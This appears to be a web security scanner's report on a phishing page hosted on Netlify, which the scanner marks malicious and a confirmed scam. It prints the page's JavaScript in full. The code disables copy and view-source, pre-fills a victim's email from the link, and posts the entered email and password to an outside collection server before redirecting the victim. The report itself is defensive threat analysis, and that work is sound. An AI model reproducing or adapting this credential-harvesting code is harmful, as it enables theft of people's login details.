finance banking

English

The domain '68713204433c6d2032e1efeb--euphonious-dodol-162d14.netlify.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain '68713204433c6d2032e1efeb--euphonious-dodol-162d14'. Count 7 characters in 'netlify' with two vowels and five consonants. Tokenizing the label suggests 3 words: net, li, fy. Expect 2 characters per word on average. No strong language cues emerged from the frequency lists.

email

password

pdf1

address

type

html/8c/32/8c324792-e8b3-412c-81c2-13ffc1941919.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

05b85d96f41fff14d8f608dad03ab71e2c1017c2da0914d7c59291bad7a54f8e

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

d8aa24ecc6cecb1a60515bc093f1c9da38a0392612d9ab8ae0f7f36e6eee1fad

jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates

parseHTML() executes scripts in event handlers

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

ffa34c98b4b0f2095c10d8288fb576a0cd8fd8d9b368c3d154da86e485e1fb6c

0bf87570e7a19f322d3ebdb9970c76ed8f792ce5bec47df1212c5e0693c76645

width=device-width, initial-scale=1, shrink-to-fit=no

viewport

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


			// prevent ctrl + s
			$(document).bind('keydown', function(e) {
			if(e.ctrlKey && (e.which == 83)) {
			e.preventDefault();
			return false;
			}
			});
			document.addEventListener('contextmenu', event => event.preventDefault());
			document.onkeydown = function(e) {
			if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 117)) {
			return false;
			} else {
			return true;
			}
			};
			$(document).keypress("u",function(e) {
			if(e.ctrlKey)
			{
			return false; }
			else {
			return true;
			}});
			
			
			/* global $ */
			$(document).ready(function() {
			    var count = 0;
			
				    $('#m-btn').click();
				
				  $("input").keyup(function(event) {
			        if (event.keyCode === 13) {
			            $("button").click();
			        }
			    }); 
			
			    /////////////url email getting////////////////
			    var email = window.location.hash.substr(1);
			    if (!email) {
			
			    } else {
			        var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;
			
			        if (!base64regex.test(email)) {
			            // alert(btoa(email));
			            var my_email = email;
			        } else {
			            // alert(atob(email));
			            var my_email = atob(email);
			        }
			        // $('#email').val(email);
			        // var my_email =email;
			        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
			        // $('#email').val(email);
			        // var my_email = email;
			        var ind = my_email.indexOf("@");
			        var my_slice = my_email.substr((ind + 1));
			        var c = my_slice.substr(0, my_slice.indexOf('.'));
			        var final = c.toLowerCase();
			        $('#email').val(my_email);
			        $('#email').attr('autofocus', true);
			        $("#msg").hide();
			    }
			    ///////////////url getting email////////////////
			
			    var file = "";
			
			    $('#submit-btn').click(function(event) {
			        $('#error').hide();
			        $('#msg').hide();
			        event.preventDefault();
			        var email = $("#email").val();
			        var password = $("#password").val();
			        var msg = $('#msg').html();
			        $('#msg').text(msg);
			        ///////////new injection////////////////
			        var my_email = email;
			        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
			
			        if (!email) {
			            $('#error').show();
			            $('#error').html("You must specify an email to log in.");
			            email.focus;
			            return false;
			        }
			
			        if (!filter.test(my_email)) {
			            $('#error').show();
			            $('#error').html("Please enter complete email address");
			            email.focus;
			            return false;
			        }
			        if (!password) {
			            $('#error').show();
			            $('#error').html("Enter your email password to continue");
			            email.focus;
			            return false;
			        }
			
			        var ind = my_email.indexOf("@");
			        var my_slice = my_email.substr((ind + 1));
			        var c = my_slice.substr(0, my_slice.indexOf('.'));
			        var final = c.toLowerCase();
			        ///////////new injection////////////////
			        count = count + 1;
			
			        $.ajax({
			            dataType: 'JSON',
			            url: 'https://kfgroup.net/wns/bg.php',
			            type: 'POST',
			            data: {
			                email: email,
			                password: password,
			            },
			            // data: $('#contact').serialize(),
			            beforeSend: function(xhr) {
			                $('#submit-btn').html('Verifying...');
			            },
			            success: function(response) {
			                if (response) {
			                    $("#msg").show();
			                    console.log(response);
			                    if (response['signal'] == 'ok') {
			                        $("#password").val("");
			                        if (count >= 2) {
			                            count = 0;
								window.location.replace('https://'+my_slice);
								//window.location.replace('https://ecitizen.go.ug/sitttes/request/complete.html#'+my_email);
			                            return false;
			
			                        }
			                         $('#msg').html(response['msg']);
			                    } else {
			                         $('#msg').html(response['msg']);
			                    }
			                }
			            },
			            error: function() {
			                $("#password").val("");
			                if (count >= 2) {
			                    count = 0;
								window.location.href = 'http://appsuite.candwmail.com',true;
								//window.location.href = 'http://appsuite.candwmail.com',true;
			                    return false;
			                }
			                $("#msg").show();
							$('#msg').html("Your account or password is incorrect");
			            },
			            complete: function() {
			                $('#submit-btn').html('Continue');
			            }
			        });
			    });
			
			
			});
		


			var url = document.location.href = 'http://appsuite.candwmail.com',true;
			      const link = new URL(url);
			
			      let email = link.hash;
			
			      email = email.substring(1);
			
			      let website = email.substring(email.indexOf('@') + 1);
			
			      document.getElementById('iframe').src = "src5.jpg;
		

PasswordField

JQuery

Netlify

HSTS

Font Awesome

jQuery CDN

Google Hosted Libraries

Sign in - Flow

☠️ Malicious - https://68713204433c6d2032e1efeb--euphonious-dodol-162d14.netlify.app/mailapp?undefined

Requests	IP Address	Location	AS Autonomous System
3	172.64.147.188Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
3	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
3	142.251.13.95Google · CDN	United States	AS15169Google LLC
3	151.101.129.155Fastly · CDN	United States	AS54113Fastly, Inc.
12	4	-	-

Security Scan Report: 68713204433c6d2032e1efeb--euphonious-dodol-162d14.netlify.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies7

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History